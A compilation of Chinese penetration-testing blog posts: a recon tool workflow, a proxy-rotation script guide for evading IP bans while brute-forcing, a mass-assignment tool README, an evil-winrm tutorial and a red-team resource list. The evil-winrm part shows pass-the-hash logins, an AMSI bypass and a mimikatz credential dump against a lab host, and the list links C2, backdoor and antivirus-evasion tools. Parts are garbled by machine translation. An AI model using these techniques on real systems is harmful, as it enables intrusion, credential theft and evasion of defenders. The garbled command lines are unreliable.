转自于原文链接: https://mp.weixin.qq.com/s?__biz=Mzg2NDYwMDA1NA==&mid=2247486232&idx=1&sn=301810a7ba60add83cdcb99498de8125&chksm=ce67a181f9102897905ffd677dafeb90087d996cd2e7965300094bd29cba8f68d69f675829be&scene=21#wechat_redirecthttps://xz.aliyun.com/t/9567


作为专业的渗透测试仪,自动化信息收集工具至关重要。

原始意图

由于大型目标的渗透,需要收集数百个根域。在复杂的信息收集工作中,重复性和单调操作将极大地消除我们的耐心。手动执行此操作是非常不现实的。

因此,我在周末花了两天时间对许多扫描仪进行研究。不仅大多数环境配置既麻烦,而且系统都太大了,这非常不便。

在权衡了系统资源消耗,硬件要求,手动程序干预以及以后代码维护的成本之后,我们终于用Python + Shell实施了原型版本。我们引用了有关包含GitHub云扫描仪的一些想法,几乎没有完成一些基本工具的集成,并且一些细节的处理方式却不好。

现在,经过一年多的抛光,它基本上可以涵盖信息收集的每个阶段。

7 {。} s {。} c {。} a {。} n [Asset Collection]

不开源

我对此的定义是“基于实际优化的轻巧,简洁,可扩展,可自定义和优化的参数”。以下是程序运行过程的思维图。

1.jpg

nuclei+x ray [泄漏扫描整合]

使用Nuclei + X射线对随后的Web漏洞的积极检测

基于简单的基于YAML的DSL快速且可自定义的漏洞扫描仪。

https://github.com/projectdiscovery/nuclei

1nuclei -t/root/nuclei -templates/-severity关键,高,中,中等-L all_active_webs.txt -bs 50 -c 50 -c 50 -rl 150 -nc | anew -q all_nuclei_output.txt

XRARE

多线程呼叫xray+rad用于自动扫描

https://github.com/sv3nbeast/x-autoxray

1Python3 x-autoxray.py all/all_active_webs.txt all/all_xray_result/010-10不开源

后来,我发现网络资产太多了,看起来很混乱且直觉不够。

因此,基于Python烧瓶实现了一个程序,以网页的形式集成了HTTPX + Gowitness的检测结果,支持任意的单列分类,任意的单列搜索,全局搜索(由于此功能由@ME1ONS实现),行计数和ScreenShot Slielshot相似性分类。

2.jpg

search_server [资产集成]

开源:https://github.com/r00tse7en/cobweb

后来使用发现,大型目标收集的子域名与解析IP之间的关系很复杂,用肉眼进行分析时耗时且艰苦。

蜘蛛网蜘蛛网可视化相关的数据,以促进并快速找到目标资产。

测试页面:https://www.se7ensec.cn/cobweb/

蜘蛛网[资产可视化]

cobweb1.jpg

网络显示关系可以拖动

cobweb2.jpg

手动阻止菜单并独立突出显示

https://github.com/shmilylty/oneforall

https://github.com/projectdiscovery/subfinder

https://github.com/boy-hack/ksubdomain

https://github.com/lijiejie/subdomainsbrute

https://github.com/cgboal/sonarsearch

https://github.com/projectdiscovery/dnsx

https://github.com/zu1k/nali

https://github.com/projectdiscovery/naabu

https://github.com/projectdiscovery/httpx

https://github.com/p1kaju/httpx

https://github.com/adamgordonbell/csvquote

https://github.com/projectdiscovery/nuclei

https://github.com/soimort/translate-shell

https://github.com/sensepost/gowitness

https://github.com/lcvvvvv/kscan

https://github.com/tomnomnom/anew

https://github.com/lc/gau

https://github.com/six2dez/ipcdn

https://github.com/threatunkown/jsubfinder

https://github.com/projectante/dnsgen

https://github.com/sv3nbeast/x-autoxray

利用Python脚本自动生成Clash配置文件,实现FUZZ自动切换IP。现在蓝狗封IP速度太快了,想想当年自己用Burp爆破封堵IP的日子就想哭。
不要问我为啥不用飞鱼,太贵了

0x00 购买IP地址池

推荐余额套餐的方式进行购买,该脚本配合余额支付更划算。
http://http.py.cn/pay/?paytype=banlance

0x01  获取API接口

购买套餐后,选择》API提取》直接提取,推荐配置如下:

  • 1.余额提取。
  • 2.使用时长按需选择,建议选择25分钟-180分钟。
  • 3.提取数量建议为5-10,土豪随意。
  • 4.建议省份混拨,并选择自己所在省份或临近省份,提高访问速度。
  • 5.目前该代理协议仅支持SOKCS5连接。
  • 6.数据格式选择Json格式,方便脚本解析。
  • 7.选择属性全部勾选,否则会发生错误。
  • 8.IP去重365天。

image

0x02  部署说明

将Auto_proxy代码(Auto_proxy_example.yaml, Auto_proxy.py, proxyIgnoreList.plist )拷贝到Clash配置文件目录下。

  • Windows默认:Clash\Data\profiles\
  • Mac默认:~/.config/clash/

image

修改Auto_proxy.py相关配置,主要参数如下。

  • test_url:需要监控测试的IP地址。
  • py_api:上一步获取的品易API接口。
  • max_connect_error:错误连接次数,连续连接错误N次,重新获取代理。

image

白名单配置,可参考https://www.cnblogs.com/PowerTips/p/14775956.html

  • Windows:在Auto_proxy_example.yaml添加cfw-bypass配置。
  • Mac: 直接使用项目中proxyIgnoreList.plist即可,需重启生效。

注:务必将*.taolop.com加入白名单中,不然可能会导致代理失效一直重复获取代理。

0x03 使用说明

在Clash目录下执行python3 Auto_proxy.py,同时Clash将配置选为Auto_proxy。

image

需将Clash配置为全局模式,同时设置系统代理,目前脚本设置两种规则:

  • 加速模式:根据监控网站选择延迟最低的代理。
  • 负载模式:每次请求都会随机一条代理进行连接。

image

负载模式运行效果:

image

当运行错误超出设置阀值,会进行提示“IP已被封禁,重新获取代理”,此时Clash提示“重载配置文件”,需手动点击更新。

image

0x05 使用效果

该效果模式为负载模式,测试Dirsearch, 其它工具请自行测试。

  • 靶机端: python3 -m http.server 8000
  • 攻击端: python3 dirsearch.py -u http://X.X.X.X:8000 --proxy=http://127.0.0.1:7890

image

同时10个IP爆破目录,就问你慌不慌!

HireHackking

群众委员

质量分配者是一种强大的工具,旨在识别和利用Web应用程序中的质量分配漏洞。它首先从指定的请求中检索数据来实现此目标,例如获取用户配置文件数据。然后,它系统地尝试将从响应中提取的每个参数应用于提供的第二个请求,一次是一个参数。这种方法允许对潜在的质量分配漏洞进行自动测试和开发。

免责声明

此工具积极修改服务器端数据。使用前请确保您有适当的授权。使用此工具的任何未经授权或非法活动完全符合您自身的风险。

功能

Enables the addition of custom headers within requests Offers customization of various HTTP methods for both origin and target requests Supports rate-limiting to manage request thresholds effectively Provides the option to specify 'ignored parameters' which the tool will ignore during execution Improved the support in nested arrays/objects inside JSON data in responses

下一个是什么

Support additional content types, such as '应用程序/x-www-form-urlenCoded'

安装用法

安装要求

pip3 install -r sumpliont.txt运行脚本

python3 mass_assigner.py-fetch-from'http://Example.com/path-to-fetch-data'-target-req'http://example.com/path-te-to-probe-te-probe-the-data'

参数

-h, - 赫尔普显示此帮助消息和退出

- 从fetch_from

URL从中获取数据

-target-req target_req

URL将修改的数据发送到

-H头, - 头标题

添加一个自定义标头。格式:'键:值'

-P代理, - proxy代理

使用代理,用法I.E: http://127.0.0.1:8080。

-d数据, - 数据数据将数据添加到请求正文中。 Json逃脱了。

- 利率限制速率_limit

每秒请求数

-source-method source_method

HTTP方法的初始请求。默认值为。

- 目标方法target_method

修改后请求的HTTP方法。默认为放置。

-ignore-params ignore_params

在修改过程中要忽略的参数,由逗号隔开。示例用法:

python3 mass_assigner.py -fetch-from'http://example.com/api/v1/me'-target-req'http://example.com/api/api/v1/me'--header'--header'授权: '{\'param1 \': \'test \',\'param2 \':true}'

前言

Evil-winrm 工具最初是由 Hackplayers 团队开发的。开发该工具的目的是尽可能简化渗透测试,尤其是在 Microsoft Windows 环境中。 Evil-winrm 使用 PowerShell 远程协议 (PSRP),且系统和网络管理员经常使用Windows Remote Management 协议进行上传和管理。 WinRM 是一种基于对防火墙友好的SOAP 协议,可通过 HTTP默认 端口 5985 与 HTTP 传输一起使用。有关 PowerShell 远程处理的更多信息,请参考访问 Microsoft 的官方网站。

https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/enable-psremoting?view=powershell-7.3

Evil-winrm介绍

Evil-winrm 是一款使用ruby 语言开发的开源工具。 该工具具有许多很酷的功能,包括使用纯文本密码远程登录、SSL 加密登录、 NTLM 哈希登录、密钥登录、文件传输、日志存储等功能。该开发工具的作者不断更新工具并长期维护更新。 使用 evil-winrm,我们可以获得远程主机的 PowerShell命令终端会话。 该工具已在Kali Linux系统中集成,但如果您想单独下载使用,则可以从其官方 git 存储库下载它。

下载链接: https: //github.com/Hackplayers/evil-winrm

Winrm 服务发现

正如上文提到的那样,如果在远程主机中启用了 Winrm 服务,则会联想到使用 evil-winrm 工具。 为了确认目标系统是否开启了winrm服务,我们可以使用 nmap 查找两个默认的 winrm 服务端口 5895 和 5896 是否打开。 从 nmap 扫描结果中,我们发现 winrm 服务已启用,因此我们可以使用 evil-winrm 工具进行登录并执行我们将在横向阶段探索的其他任务。

nmap -p   5985 , 5986 192.168 .1 .19

1lofzb0mkue14169.png

Evil-winrm  help命令帮助

要列出 evil-winrm 的所有可用的功能,我们可以简单地使用 -h 标志,它将列出所有带有描述的帮助命令。

evil-winrm -h

5sgdbgypg2z14171.png

使用纯文本密码登录

假设我们在账户枚举阶段获得了明文密码,并且注意到远程主机启用了 winrm 服务 ,我们可以使用 evil-winrm 在目标系统上进行远程会话,使用方法是带有-i 参数的目标系统IP地址、带有 -u 参数的目标系统用户名,带有-p参数的目标系统密码。 如下图所示,我们可以看到已经建立了一个远程 PowerShell 会话。

evil-winrm -i 192.168.1.19 -u administrator -p Ignite@987

gjatiqgxvsi14172.png

使用纯文本密码登录 - 启用 SSL

正如上文提到的那样,winrm 服务可通过 HTTP 协议传输流量,然后我们可以使用安全套接字层 (SSL) 功能来确保连接安全。 一旦启用 SSL 功能,我们的数据将通过加密的安全套接字层进行传输。使用 evil-winrm,我们可以使用-S 参数来建立与远程主机的安全传输的命令。

evil-winrm -i 192.168.1.19 -u administrator -p Ignite@987 -S

jym5ornkjqw14175.png

使用 NTLM Hash 登录 - 通过哈希攻击

在内网渗透或解决任何与 Windows 权限提升和 Active Directory 利用相关的项目中,我们经常通过各种攻击方法获得 NTLM 哈希值。 如果我们在 Windows 内网环境中,我们可以利用 evil-winrm 通过执行传递哈希攻击来建立 PowerShell 会话,这样可以将哈希作为密码而不是使用纯文本密码进行远程登陆。 除此之外,这种攻击还支持其他协议。 传递哈希我们可以使用-H 参数 。

evil-winrm -i 192.168.1.19 -u administrator -H 32196B56FFE6F45E294117B91A83BF38

g1tunhaty3014177.png

加载 Powershell 脚本

Evil-winrm 还提供了一项允许我们使用来自目标主机自带的powershell脚本的功能。 可以直接将脚本加载到内存中 ,我们可以使用带有-s 参数接目标系统的powershell脚本的相对路径 。 此外,该工具还提供了我们在导入任何脚本之前经常需要用到的 AMSI 功能。 在下面的示例中,我们将绕过 AMSI 功能,直接从系统中调用 Invoke-Mimiktz.ps1 脚本到目标主机中并将其加载到内存中。 之后,可以使用 mimikatz 命令。 本次出于演示目的,我们直接从缓存中转储了系统登陆凭据。 转储凭据后,我们可以再次使用获得的 NTLM 哈希进行哈希传递攻击。

https://github.com/clymb3r/PowerShell/blob/master/Invoke-Mimikatz/Invoke-Mimikatz.ps1

ismxob1geb114179.png

evil-winrm -i 192.168.1.19 -u administrator -p Ignite@987 -s /opt/privsc/powershell
Bypass-4MSI
Invoke-Mimikatz.ps1
Invoke-Mimikatz

15i1wfr1zri14181.png

使用 Evil-winrm 存储日志

此功能表示在获取远程会话后,将执行命令的日志保存到我们的本地系统中。 我们在平时做项目时,都需要攻击凭据,以便进行后续报告输出。可以使用 -l 参数将 将所有日志保存到我们的主机系统中 ,默认保存到 /root/evil-winrm-logs 目录中。在下面的示例中,我们可以同时使用了 ipconfig 命令并将命令输出信息保存到主机系统中。

evil-winrm -i 192.168.1.19 -u administrator -p Ignite@987 -l

wkhop03xdqp14183.png

可以通过检查保存的日志内容来验证是否存将命令日志输出存储成功,可以看到已经存储了我们上文命令输出的日志信息。

1h33eve0f3z14187.png

禁用远程完整路径功能

默认情况下,该工具带有远程完整路径功能,但如果我们希望禁用远程路径完整功能,我们可以 在命令中使用-N参数。 这取决于个人是否喜欢打开或关闭路径完整功能,但如果您对自动完整路功能感到满意,则可以随意使用其默认功能。

 evil-winrm -i 192.168.1.19 -u administrator -p Ignite@987 -N

zlw3gtdnk3f14190.png

禁用彩色界面

每当我们使用 evil-winrm 建立任何远程会话时,都会生成一个漂亮的彩色命令行界面。 尽管如此,如果我们希望禁用彩色界面功能,那么我们也可以在建立会话时使用-n 参数来禁用该功能。

 evil-winrm -i 192.168.1.19 -u administrator -p Ignite@987 -N

5ldymd2jhqo14191.png

运行可执行文件

此功能旨在解决我们在进行 PowerShell 会话时在评估期间遇到的实时问题和困难,我们不能将其放到命令行中。 在这种情况下,我们希望能够在 evil-winrm 会话中运行 exe 可执行文件。 假设我们有一个要在目标系统中运行的可执行文件。

zhwj0rqmlvi14192.png

Hackplayers 团队再次设计了该工具并添加了一个额外的功能,可以在 evil-winrm PowerShell 会话中运行所有可执行文件。 同样,我们可以使用 -e 参数来执行 exe 可执行二进制文件。 在下面的示例中,其中 WinPEAS.exe 可执行文件存储在本地计算机 /opt/privsc目录中,并使用 附加功能(  evil-winrm 菜单中的Invoke-Binary命令 )来运行它。 此功能允许我们执行在命令行 shell 中运行的任何 exe 二进制文件。

evil-winrm -i 192.168.1.19 -u administrator -p Ignite@987 -e /opt/privsc
Bypass-4MSI
menu
Invoke-Binary /opt/privsc/winPEASx64.exe

3xlalrhbjbl14195.png

一旦我们设置了可执行文件路径,我们就可以使用我们希望在目标系统中运行的任何可执行文件。 在下面的示例中,我们调用 WinPEASx64.exe 并使用 evil-winrm 将其运行到目标系统中。

h1hnxlx2iyp14197.png

使用 Evil-winrm 进行服务查询

有时后渗透测试工具,无法检测到目标系统中运行的服务名称。 在这种情况下,我们可以使用 evil-winrm 来查找目标系统中运行的服务名称。 为此,我们可以再次转到菜单并使用服务功能。 它将列出所有运行程序主机的服务。

2rima55wlhj14198.png

使用 Evil-winrm 进行文件传输

毫无疑问,evil-winrm 已尽最大努力使我们的使用尽可能地简单。 我们总是需要将文件从攻击机器传输到远程机器以执行其命令操作。 而 evil-winrm 工具提供的一项非常实用的功能,尤其是在我们面对目标系统中设置的出站流量规则以及我们将 evil-winrm 与代理一起使用时的情况下。 在下面的示例中,我们将/root目录中的notes.txt文件上传 到目标系统中。

t2zboiae4xo14199.png

文件从目标系统下载到攻击者的机器上。 同样,我们可以使用下面命令进行下载:

download notes.txt /root/raj/notes.txt

eqq0pf3scaz14200.png

e5zzxxndnrk14201.png

从 Docker 使用 Evil-winrm

此工具也可以安装在 docker 中。 如果我们在安装到evil-winrm的docker中,那么我们也可以从docker中调用它。 它将像在主系统中一样运行。 为此,请遵循 docker 语法以及 evil-winrm 命令从 docker 调用它。

docker run --rm -ti --name evil-winrm  oscarakaelvis/evil-winrm -i 192.168.1.105 -u Administrator -p 'Ignite@987'

a33r1ach1hg14202.png

使用 Evil-winrm 密钥登录

Evil-winrm 还允许我们使用公钥和私钥建立远程会话,使用 带有-k的参数跟私钥,以及带有-c 的参数跟公钥,此外,我们还可以添加 -S 参数来启用 SSL 来使我们的连接加密和安全。

evil-winrm -i 10.129.227.105 -c certificate.pem -k priv-key.pem -S

52dwa4a0kk014204.png


HireHackking

红队框架列表

攻击技战法

  • [list] 云上攻击技战法 https://hackingthe.cloud/
  • [doc] 红队技术实战 https://ired.team/

威胁情报 Threat Intelligence

  • [list] https://github.com/hslatman/awesome-threat-intelligence

红队框架/工具集 Redteam Framework

  • [tool] Utilities for MITRE ATT&CK https://github.com/nshalabi/ATTACK-Tools
  • [tool] 好用的渗透工具列表 https://github.com/enaqx/awesome-pentest
  • [book] KALI渗透 https://jobrest.gitbooks.io/kali-linux-cn/content/
  • [paper] ATT&CK 发布了七款安全产品的评估 https://medium.com/mitre-attack/first-round-of-mitre-att-ck-evaluations-released-15db64ea970d
  • [doc] 红队技术实战 https://ired.team/
  • [tool] 红队框架 https://ired.team/offensive-security/red-team-infrastructure/automating-red-team-infrastructure-with-terraform
  • [cheatsheet] 红队手册 https://github.com/mantvydasb/Offensive-Security-OSCP-Cheatsheets/
  • [tool] 渗透、红队工具集 https://github.com/blaCCkHatHacEEkr/PENTESTING-BIBLE
  • [tool] 红队资源集合 https://github.com/yeyintminthuhtut/Awesome-Red-Teaming/
  • [tool] APT实战资源 https://osint-labs.org/apt/
  • [cheatsheet] Windows 渗透 https://m0chan.github.io/2019/07/30/Windows-Notes-and-Cheatsheet.html

MITRE ATT&CK Matrix

  • Caldera https://github.com/mitre/caldera https://caldera.readthedocs.io/en/latest/index.html
  • Atomic Red Team https://github.com/redcanaryco/atomic-red-team https://atomicredteam.io
  • DumpsterFire https://github.com/TryCatchHCF/DumpsterFire
  • Metta https://github.com/uber-common/metta https://github.com/uber-common/metta/wiki
  • RTA https://github.com/endgameinc/RTA

业内红队 Industry

  • https://specterops.io/
  • https://www.synack.com/red-team/

攻击杀伤链

信息搜集 Reconnaissance

OSINT 在线工具

  • [tool] 信息搜集和渗透工具集 https://github.com/projectdiscovery/
  • [tool] 企业邮箱搜索工具 http://www.skymem.info/
  • [tool] 子域名和DNS历史记录Dnstrails https://securitytrails.com/dns-trails
  • [tool] 全网证书搜索 http://crt.sh
  • [tool] 多种域名/IP信息工具 https://viewdns.info/
  • [tool] https://pentest-tools.com
  • [tool] 全网资产搜索 Shodan https://www.shodan.io/
  • [tool] 全网资产搜索 Censys https://censys.io
  • [tool] 全网资产搜索 Fofa https://fofa.so/
  • [tool] 全网资产搜索 Zoomeye https://www.zoomeye.org/
  • [tool] DNS查询 https://dnsdumpster.com/
  • [tool] 文件在线监测 VirusTotal https://www.virustotal.com/
  • [tool] DNS查询 http://www.dnsgoodies.com/
  • [tool] Google ASE aka Google Dorking [Most effective in some cases]
  • [tool] Spiderfoot [Currently Free, just request for a Spiderfoot instance]
  • [tool] Binaryedge [Paid/Rate-Limited]
  • [tool] onyphe.io [Free mostly]
  • [tool] Github用户历史记录API https://api.github.com/users/{username}/events

信息搜集工具

  • [tool] BigBountyRecon https://github.com/Viralmaniar/BigBountyRecon

指纹识别

  • [tool] WAF识别 https://github.com/stamparm/identYwaf

入口突破 Entry

钓鱼 Phishing

  • [tool] https://github.com/klionsec/PhishingExploit
  • [tool] https://github.com/gophish/gophish
  • [cases] 利用谷歌开放平台OAuth授权,伪装成Google Doc使用GMail传播钓鱼 https://www.reddit.com/r/google/comments/692cr4/new_google_docs_phishing_scam_almost_undetectable/
  • [blog] Office在线视频钓鱼 https://blog.cymulate.com/abusing-microsoft-office-online-video
  • [tool] 邮件钓鱼工具 https://www.mailsploit.com/index
  • [trick] 利用DOCX文档远程模板注入执行宏https://xz.aliyun.com/t/2496
  • [trick] 浏览器窗口伪造 https://github.com/openworldoperations/FISHY
  • [trick] 鼠标光标伪造 https://jameshfisher.github.io/cursory-hack/

硬件交互设备 HID Attack

  • [paper] 打印机利用 http://archive.hack.lu/2010/Costin-HackingPrintersForFunAndProfit-slides.pdf
  • [tool] BadUSB https://mp.weixin.qq.com/s/mIcRNcf5HmZ4axe8N92S7Q

无线入侵 Wireless Attack

  • [tool] 无需四次握手包破解WPA&WPA2密码 http://www.freebuf.com/articles/wireless/179953.html

服务器带外管理BMC、IPMI供应链攻击

  • [blog] 针对目标企业开源项目的针对性软件供应链攻击 https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610

Exploitation

  • [tool] PE文件转为Shellcode / https://github.com/hasherezade/pe_to_shellcode
  • [blog] Java Runtime.exec(String)执行任意命令 https://www.anquanke.com/post/id/159554https://mp.weixin.qq.com/s/pzpc44-xH932M4eCJ8LxYghttp://jackson.thuraisamy.me/runtime-exec-payloads.html
  • [paper] 利用 Java JDBC 驱动利用反序列化漏洞 https://xz.aliyun.com/t/7067
  • [blog] 关于Jackson的CVEs https://medium.com/@cowtowncoder/on-jackson-cves-dont-panic-here-is-what-you-need-to-know-54cd0d6e8062
  • [paper] FastJson漏洞历史 https://github.com/miaochiahao/slides/tree/master/fastjson
  • [tool] 一键日Jira https://github.com/0x48piraj/Jiraffe
  • [tool] 很全的JNDI内存马利用工具 https://github.com/feihong-cs/JNDIExploit

权限提升 Privilege Escalation

  • [cheatsheet] Windows提权笔记 https://xz.aliyun.com/t/2519
  • [cheatsheet] Windows提权小抄 https://guif.re/windowseop
  • [cheatsheet] Windows本地提权技巧 http://payloads.online/archivers/2018-10-08/1
  • [cheatsheet] Linux提权小抄 https://guif.re/linuxeop
  • [exploit] Windows-Exploit-Suggester https://github.com/GDSSecurity/Windows-Exploit-Suggester/blob/master/windows-exploit-suggester.py
  • [exploit] Linux-Exploit-Suggester https://github.com/PenturaLabs/Linux_Exploit_Suggester/
  • [exploit] Windows Exploits https://github.com/abatchy17/WindowsExploits
  • [exploit] Windows Sherlock本地提权漏洞检查 https://github.com/rasta-mouse/Sherlock
  • [cheatsheet] Linux sudo滥用提权 http://touhidshaikh.com/blog/?p=790
  • [blog] 深入解读MS14-068漏洞:微软精心策划的后门?http://www.freebuf.com/vuls/56081.html
  • [paper] Windows特权提升 https://www.exploit-db.com/docs/english/46131-windows-privilege-escalations.pdf
  • [tool] juicy-potato本地提权 https://github.com/ohpe/juicy-potato https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/
  • [exploit] hh.exe提权 https://twitter.com/FlatL1ne/status/1194208167976165376
  • [tool] Linux本地信息搜集 https://github.com/rebootuser/LinEnum/blob/master/LinEnum.sh
  • [tool] Linux进程监控 https://github.com/DominicBreuker/pspy
  • [cheatsheet] Linux Privilege Escalation https://book.hacktricks.xyz/linux-unix/privilege-escalation

持久化后门 Persistent

  • [tool] Gray Dragon .NET应用Runtime注入工具 / https://www.digitalbodyguard.com/graydragon.html
  • [trick] 利用环境变量,在任意.Net应用DLL注入 / https://mobile.twitter.com/subTee/status/864903111952875521 https://docs.microsoft.com/en-us/previous-versions/dotnet/netframework-4.0/bb384689(v=vs.100)
  • [tool] PHP-FPM无文件后门Webshell https://www.anquanke.com/post/id/163197
  • [tool] 利用PrintDialog持久化+执行命令 http://www.hexacorn.com/blog/2018/08/11/printdialog-exe-yet-another-lolbin-for-loading-dlls/
  • [tool] SystemSettings http://www.hexacorn.com/blog/2018/08/12/systemsettings-exe-yet-another-lolbin-for-loading-dlls/
  • [tool] 二进制加密Webshell https://xz.aliyun.com/t/2744https://github.com/rebeyond/Behinder
  • [cheatsheet] Linux权限维持 https://xz.aliyun.com/t/7338
  • [tool] Linux eBPF backdoor https://github.com/kris-nova/boopkit
  • [tool] 5行代码编译 PAM 后门 https://infosecwriteups.com/creating-a-backdoor-in-pam-in-5-line-of-code-e23e99579cd9

Post Exploitation

Windows

  • 无Powershell.exe的Powershell工具 / https://github.com/Ben0xA/nps
  • 全阶段的Powershell渗透测试脚本 / https://github.com/samratashok/nishang
  • 命令执行 Living off the Land https://github.com/api0cradle/LOLBAS
  • C# 后渗透测试库 SharpSploit 介绍 https://posts.specterops.io/introducing-sharpsploit-a-c-post-exploitation-library-5c7be5f16c51
  • [blog] Windows执行命令和下载文件总结 https://www.cnblogs.com/17bdw/p/8550189.html
  • [trick] 使用Rundll32运行.Net程序 https://blog.xpnsec.com/rundll32-your-dotnet/
  • [tool] .NET DllExport https://github.com/3F/DllExport

Linux

  • 纯Bash实现的后渗透工具 / https://github.com/TheSecondSun/Bashark/

凭据窃取 Credentials

  • [tool] SafetyKatz https://github.com/GhostPack/SafetyKatz
  • [tool] Shellcode Dump LSASS https://osandamalith.com/2019/05/11/shellcode-to-dump-the-lsass-process/
  • [tool] 内网密码搜集和解密工具 https://github.com/klionsec/Decryption-tool

横向移动 Letaral Movement

  • [tool] 端口扫描 wrriten in GO https://github.com/ffuf/ffuf/tree/master
  • [tool] 域信息搜集,域管理员的六度空间 https://github.com/BloodHoundAD/SharpHound
  • [usage] NMap空闲隐蔽扫描 https://nmap.org/book/idlescan.html
  • [blog] 使用meterpreter进行NTLM中继攻击 https://diablohorn.com/2018/08/25/remote-ntlm-relaying-through-meterpreter-on-windows-port-445/
  • [tool] Responder NetBIOS名称欺骗和LLMNR欺骗 https://github.com/SpiderLabs/Responder
  • [tool] NTLM Relay 攻击 Exchange Web Services https://github.com/Arno0x/NtlmRelayToEWS
  • [tool] SMB中间人劫持 https://github.com/quickbreach/SMBetray
  • [tool] 代理隧道 https://github.com/txthinking/brook
  • [tool] 代理隧道 https://github.com/Dliv3/Venom

绕过检测 Defense Evasion

  • [book] 效果不错的免杀,使用C#绕过杀毒软件
  • [tool] 生成免杀的Metasploit Payload / https://github.com/Veil-Framework/Veil
  • [code] 自定义Meterpreter加载 / http://www.freebuf.com/articles/system/53818.html
  • [blog] 九种姿势执行Mimikaz
  • [blog] 使用.Net可执行程序进行渗透
  • [blog] ATT&CK 攻击矩阵 躲避防御
  • [blog] 绕过下一代杀软
  • [blog] Windows NTFS特殊文件夹绕过检测
  • [paper] Winnti Bootkit http://williamshowalter.com/a-universal-windows-bootkit/
  • [paper] UEFI Rootkit https://www.welivesecurity.com/2018/09/27/lojax-first-uefi-rootkit-found-wild-courtesy-sednit-group/
  • [twitter] Linux Bash 混淆 https://twitter.com/DissectMalware/status/1025580967384305664
  • [tool] 免杀工具 AVEThttps://github.com/govolution/avet
  • [blog] 绕过CrowdStrike检测 https://0x00sec.org/t/bypassing-crowdstrike-falcon-detection-from-phishing-email-to-reverse-shell/10802
  • [blog] 10 种绕过杀毒软件的方式 https://blog.netspi.com/10-evil-user-tricks-for-bypassing-anti-virus/
  • [tool] DLL Side Loding Attack Gen https://github.com/Mr-Un1k0d3r/MaliciousDLLGenerator
  • [tool] BypassAV ShellCode Loader https://github.com/k8gege/scrun
  • [blog] Protecting Your Malware with blockdlls and ACG 利用微软自身提供的安全机制来反EDR https://blog.xpnsec.com/protecting-your-malware/
  • [blog] Detecting Parent PID Spoofing https://blog.f-secure.com/detecting-parent-pid-spoofing/
  • [tips] 对抗EDR的三个重要特征: 1. Process Relationship / 2. Suspicious Network / 3. Command Line.
  • [blog] Antivirus Evasion with Python https://medium.com/bugbountywriteup/antivirus-evasion-with-python-49185295caf1
  • [tool] JS免杀Shellcode https://github.com/Hzllaga/JsLoader
  • [tool] 利用杀毒软件销毁自身 https://www.rack911labs.com/research/exploiting-almost-every-antivirus-software/
  • [tool] 免杀合集 https://github.com/TideSec/BypassAntiVirus
  • [tool] Apache/Nginx端口转发,隐藏TeamServer https://github.com/threatexpress/cs2modrewrite
  • [tool] 《使用C#编写自定义后门负载》学习笔记及免杀尝试 https://xz.aliyun.com/t/6222
  • [tool] 杀软进程名检查 https://github.com/gh0stkey/avList/
  • [blog] Windows免杀新技术 Process Herpaderping https://jxy-s.github.io/herpaderping/
  • [blog] Domain Borrowing: 一种基于CDN的新型隐蔽通信方法 https://xlab.tencent.com/cn/2021/05/14/domain-borrowing/

C&C

  • [tool] ICMP后门 https://github.com/inquisb/icmpsh
  • [tool] Windows远控 in C# https://github.com/quasar/QuasarRAT
  • [tool] Defcon后渗透工具,大宝剑 https://github.com/zerosum0x0/koadic
  • [tool] Custom Command and Control https://labs.mwrinfosecurity.com/tools/c3
  • [paper] CobaltStrike教程文档 https://wbglil.gitbooks.io/cobalt-strike/
  • [blog] PowerGhost挖矿病毒分析 https://www.freebuf.com/articles/system/219715.html
  • [tool] 隐藏网络连接的后门 https://github.com/BeetleChunks/redsails
  • [tool] Powershell反连后门 https://github.com/ZHacker13/ReverseTCPShell
  • [tool] JS VBS Payload生成器 https://github.com/mdsecactivebreach/CACTUSTORCH
  • [tool] 基于Golang的C2,DeimosC2 https://github.com/DeimosC2/DeimosC2
  • [tool] 基于Golang的反弹Shell管理程序 https://github.com/WangYihang/Platypus
  • [tool] 基于.Net框架的开源C2,https://github.com/cobbr/Covenant
  • [tool] 基于Rust的开源C2 Link,支持 Windows、Linux、MacOS https://github.com/postrequest/link
  • [tool] C语言编写的小巧精悍后门 https://github.com/MarioVilas/thetick
  • [tool] C2 Silver https://github.com/BishopFox/sliver

数据外传 Data Exfiltration

  • [blog] 数据外传技术 https://www.pentestpartners.com/security-blog/data-exfiltration-techniques/

杂项 & 辅助工具 Misc

  • [forum] Hack the box https://www.hackthebox.eu/
  • [tool] 代码生成手绘图 https://www.websequencediagrams.com/
  • [tool] 本地代码生成ascii文本绘图 graph::easy
  • [tricks] 技巧汇总 https://github.com/hackerschoice/thc-tips-tricks-hacks-cheat-sheet#lbwh-anchor

匿名邮箱和短信接收平台

  • https://lcx.cc/post/4594/
  • 复用Gmail邮箱的技巧 https://gmail.googleblog.com/2008/03/2-hidden-ways-to-get-more-from-your.html

中间人 MITM

  • [tool] https://github.com/LionSec/xerosploit
  • [tool] 钓鱼反向代理中间人工具 https://github.com/hash3liZer/evilginx2

安卓安全 Android

  • [paper] Frida操作手册 https://github.com/hookmaster/frida-all-in-one

逆向分析 Reverse

  • [tool] NSA发布逆向分析框架Ghidra https://www.nsa.gov/resources/everyone/ghidra/
  • [tool] Modern Java Bytecode Editor https://github.com/Col-E/Recaf

爆破 & 字典 Wordlist

  • 常见服务的暴力破解 https://github.com/lanjelot/patator
  • 看起来很强的弱密码 https://github.com/r35tart/RW_Password
  • 超全Payload https://github.com/swisskyrepo/PayloadsAllTheThings
  • 社工字典生成工具 https://github.com/Saferman/cupper

渗透辅助 & OOB工具

  • [tool] nuclei 的 dnslog https://github.com/projectdiscovery/interactsh
  • [tool] lijiejie 基于 bugscan dnslog 二开的 dnslog https://github.com/lijiejie/eyes.sh

自动化扫描 & 巡检

  • [tool] 分布式扫描器WDScanner https://www.freebuf.com/sectool/203772.html
  • [tool] 灯塔资产巡检 https://github.com/TophantTechnology/ARL

云安全 & 云原生

  • [book] K8S指南 https://feisky.gitbooks.io/kubernetes/introduction/101.html
  • [list] 云上攻击技战法 https://hackingthe.cloud/

Web安全

  • [collections] Web安全项目合集 https://github.com/qazbnm456/awesome-web-security
  • [tool] Web扫描通用辅助函数集 https://wsltools.readthedocs.io/en/latest/
  • [tool] Web爬虫,基于Chrome Headless https://github.com/chaitin/rad
  • [tool] Burpsuite插件,敏感信息识别和提取 https://github.com/gh0stkey/HaE
